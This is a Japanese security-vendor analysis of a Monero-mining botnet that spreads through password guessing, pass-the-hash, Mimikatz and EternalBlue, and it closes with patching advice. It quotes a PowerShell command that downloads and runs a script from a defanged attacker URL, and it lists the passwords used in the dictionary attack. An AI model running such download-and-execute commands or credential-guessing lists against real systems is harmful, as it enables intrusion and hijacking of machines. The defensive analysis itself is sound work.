「EternalBlue」を含む複数の手法で拡散する仮想通貨発掘マルウェアを日本でも確認

トレンドマイクロは、可能な限り多くのPCとサーバに仮想通貨発掘ツールを送り込むために複数の拡散手法を使用するマルウェアが実際にアジアを中心に拡散していることを確認しました。このマルウェアが2019年の初めに中国で確認された際には、ネットワークを介して拡散する手法として、辞書攻撃、「pass the hash」攻撃、Windows管理ツールの利用、総当たり攻撃が確認されていました。これらに加え、今回トレンドマイクロが日本で新たに確認した事例では、端末への侵入と検出回避のために脆弱性攻撃ツール「EternalBlue」とPowerShellが利用されていることが判明しました。

攻撃者はこのボット型マルウェアを中国以外の国にも拡散しているようです。検出の多い国/地域は、豪州、台湾、ベトナム、香港、インドです。

■拡散手法

弱いパスワードを使用したログイン試行

このマルウェア(「Trojan.PS1.LUDICROUZ.A」として検出)の拡散手法の中で最も単純なものは、よく使用されがちなパスワードを使用してログインを試行する辞書攻撃です。ログインに成功すると、自身を直接送り込む代わりに、遠隔からのコマンドによって感染PCのファイアウォールおよびポートフォワーディング設定を変更し、最新バージョンのマルウェアをダウンロードおよび実行するタスクをスケジュールに登録します。このタスクはPowerShellスクリプト「IEX (New-Object Net.WebClient).downloadstring(‘hxxp://v.<省略>[.]com/wm?hp’)」を実行します。

123456
password
PASSWORD
football
welcome
1
12
21
123
321
1234
12345
123123
123321
111111
654321
666666
121212
000000
222222
888888
1111
555555
1234567
12345678
123456789
987654321
admin
abc123
abcd1234
abcd@1234
abc@123
p@ssword
P@ssword
p@ssw0rd
P@ssw0rd
P@SSWORD
P@SSW0RD
P@$$w0rd
P@$$word
P@$$w0rd
iloveyou
monkey
login
passw0rd
master
hello
qazwsx
password1
qwerty
baseball
qwertyuiop
superman
1qaz2wsx
fuckyou
123qwe
zxcvbn
pass
aaaaaa
love
administrator


表1:辞書攻撃に使用されるパスワードの一覧

このマルウェアは他のPCに遠隔からアクセスするために、表1のリストを使用してPowerShellの関数「Invoke-WMIMethod」を実行します。

「Invoke-WMIMethod」を実行し、弱いパスワードを使用するPCに遠隔からアクセスするコード

図1:「Invoke-WMIMethod」を実行し、弱いパスワードを使用するPCに遠隔からアクセスするコード

「pass the hash」攻撃

別の拡散手法として、このマルウェアは「pass the hash」攻撃を行います。「pass the hash」は、パスワードのハッシュ値を使用して遠隔のサーバに自身を認証させる手口です。「Get-PassHashes」コマンドによってPCに保存されたパスワードのハッシュ値と弱いパスワードのハッシュ値を取得し、公開されているスクリプト「Invoke-SMBClient」により「pass the hash」の手口を使用したファイル共有操作を行います。

「pass the hash」攻撃のためにパスワードのハッシュ値を収集するコード
弱いパスワードのハッシュ値のリスト

図2:「pass the hash」攻撃のためにパスワードのハッシュ値を収集するコード(上)
弱いパスワードのハッシュ値のリスト(下)

「pass the hash」攻撃に成功すると、このマルウェアは自身の古いバージョンと思われるファイル「%Start Menu%\Programs\Startup\run.bat」を削除し、以下のファイルを作成します。

  • %Application Data%\flashplayer.tmp
  • %Application Data%\sign.txt(PCが既に感染していることを示すために使用)
  • %Start Menu%\Programs\Startup\FlashPlayer.lnk(PC起動時にスクリプト「flashplayer.tmp」を実行)

「EternalBlue」の利用

ユーザのパスワードを破れなかった場合、このマルウェアは拡散のために脆弱性攻撃ツール「EternalBlue」を利用します。

脆弱性攻撃のためのペイロード

図3:脆弱性攻撃のためのペイロード

■コンポーネントのダウンロードおよび実行

上述したいずれかの方法でPCを感染させると、このマルウェアはMACアドレスを取得し、インストールされているウイルス対策ソフトに関する情報を収集します。続いて、難読化された別のPowerShellスクリプト(「Trojan.PS1.PCASTLE.B」として検出)をコマンド&コントロール(C&C)サーバからダウンロードします。この時、ダウンロードURLのパラメータに設定することで収集した情報を攻撃者に送信します。ダウンロードされるPowerShellスクリプトは、マルウェアのコンポーネントをダウンロードして実行するドロッパです。このコンポーネントのほとんどは自身のコピーです。

ウイルス対策ソフトに関する情報とMACアドレスを取得するコード

図4:ウイルス対策ソフトに関する情報とMACアドレスを取得するコード

このマルウェアは、すでに自身のコンポーネントがインストールされているかチェックするために以下のファイルを検索します。

  • %Temp%\kkk1.log
  • %Temp%\pp2.log
  • %Temp%\333.log
  • %Temp%\kk4.log
  • %Temp%\kk5.log

インストールされているコンポーネントをチェックするコード

図5:インストールされているコンポーネントをチェックするコード

図5の「$flagX(Xには数字)」は各コンポーネントの有無を表しています。

「$flag」に対応するコンポーネント

このフラグが設定されていない場合、マルウェアはより新しいバージョンのPowerShellスクリプト(ドロッパ)をダウンロードし、定期的にこのスクリプトを実行するタスクをスケジュールに登録します。このスクリプトの挙動は実行されている権限に依存します。

「$flag」に対応するコンポーネントの実行をスケジュールに登録するコード

図6:「$flag」に対応するコンポーネントの実行をスケジュールに登録するコード

「$flag2」に対応するコンポーネント

別のURLからマルウェアのコピーをダウンロードし、異なる名前のタスクをスケジュールに登録します。

「$flag2」に対応するコンポーネントの実行をスケジュールに登録するコード

図7:「$flag2」に対応するコンポーネントの実行をスケジュールに登録するコード

「$flag3」に対応するコンポーネント

3つ目のコンポーネント(「TrojanSpy.Win32.BEAHNY.THCACAI」として検出)は、以下のシステム情報を収集する活動を行うマルウェアです。

  • コンピュータ名
  • GUID
  • MACアドレス
  • OSのバージョン
  • グラフィックスメモリ情報
  • システム時間

このマルウェアは、おそらくサンドボックス技術による検出を回避するために、より大きなファイルサイズをもつ自身のコピーを作成します。

「$flag4」に対応するコンポーネント

4つ目のコンポーネント。(「HackTool.Win32.Impacket.AI」として検出)は、この攻撃をさらに拡散するPythonのコードをコンパイルしたバイナリ形式の実行ファイルです。Windowsのパスワードを取得するハッキングツール「Mimikatz」をPowerShell実装したマルウェア(「Trojan.PS1.MIMIKATZ.ADW」として検出)を作成および実行することにより「pass the hash」攻撃を実行することが可能です。

「$flag4」に対応する実行ファイルを作成するコード

図8:「$flag4」に対応する実行ファイルを作成するコード

「Mimikatz」がすでにインストールおよび実行されているかチェックするコード
「Mimikatz」を実行するコード

図9:「Mimikatz」がすでにインストールおよび実行されているかチェックするコード(上)
「Mimikatz」を実行するコード

このコンポーネントは、SQL Serverの設定オプション「xp_cmdshell」を使用したシェルコマンドを実行し、弱いパスワードを使用しているデータベースサーバへのアクセスを試行します。

また、メインのファイルと同様に、このコンポーネントは指定した範囲のIPアドレスをスキャンし、EternalBlueを使用した脆弱性攻撃が可能なデバイスを検索します。このスキャン活動には、公開されているコードを利用します。

EternalBlueを使用した脆弱性攻撃が可能なPCをスキャンするコード

図10:EternalBlueを使用した脆弱性攻撃が可能なPCをスキャンするコード

「$flag5」に対応するコンポーネント

5つ目のコンポーネントも実行ファイルですが、ダウンロードURLは本記事執筆時点(2019年4月12日)では既にアクセスできない状態になっています。

このコンポーネントのペイロードは仮想通貨Moneroを発掘するマルウェアです。このペイロードはPowerShellによってデプロイされますが、ファイルとしては保存されません。代わりに、公開されているコード「Invoke-ReflectivePEInjection」を使用してPowerShellのプロセスに注入されます。

仮想通貨発掘マルウェアをダウンロードおよび実行するPowerShellスクリプト

図11:仮想通貨発掘マルウェアをダウンロードおよび実行するPowerShellスクリプト

インストール後、このマルウェアは自身の状態をC&Cサーバに報告します。

仮想通貨発掘マルウェアの実行

図12:仮想通貨発掘マルウェアの実行

■マルウェアの更新と関連URLの変化

本記事執筆中にもこのマルウェアによる活動は継続しています。事実、マルウェア本体は更新され関連するURLは変化しています。トレンドマイクロでは攻撃手法の変化を注視すると共に、変化する脅威への迅速な対応を継続しています。

マルウェアに関連する新しいURL

図13:マルウェアに関連する新しいURL

■まとめ

本記事で解説したマルウェアの以下のような手口は巧妙なものだと言えます。

  • パスワードのハッキングや脆弱性を利用する複数の手法で可能な限り多くのデバイスに拡散
  • PowerShellを利用し、コンポーネントのほとんどをメモリ上で実行することで検出を回避
  • Windowsのスタートアップフォルダを利用し、タスクをスケジュールに登録

攻撃者がWindows標準のPowerShellや公開されているコードを好んで利用することを考慮すると、今後も本記事で解説したような複雑なマルウェアの出現が予測されます。また、システム情報は個人情報(Personally Identifiable Information、PII)と比べて重大ではないように思われるかもしれませんが、PCに固有な情報であるため、ユーザを特定しその活動を追跡するために利用される恐れがあります。

■被害に遭わないためには

今回のマルウェアが使用する「EternalBlue」に対しては、既に2017年3月に修正プログラムが公開されていますので、未適用のPCやサーバには速やかに適用してください。修正プログラムの適用が困難なレガシーソフトウェアのユーザは、信頼できるベンダが提供する仮想パッチを利用してください。また、ログイン試行の攻撃に耐えうるように複雑なパスワードを使用してください。加えて、本記事で解説したような脅威と不正なURLを、ゲートウェイからエンドポイントにいたるまでアクティブにブロックする多層防御を有効化することが推奨されます。

■侵入の痕跡(Indicators of Compromise、IoCs)

侵入の痕跡はこちらを参照してください。

※調査協力:Carl Maverick Pascual、Patrick Angelo Roderno

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)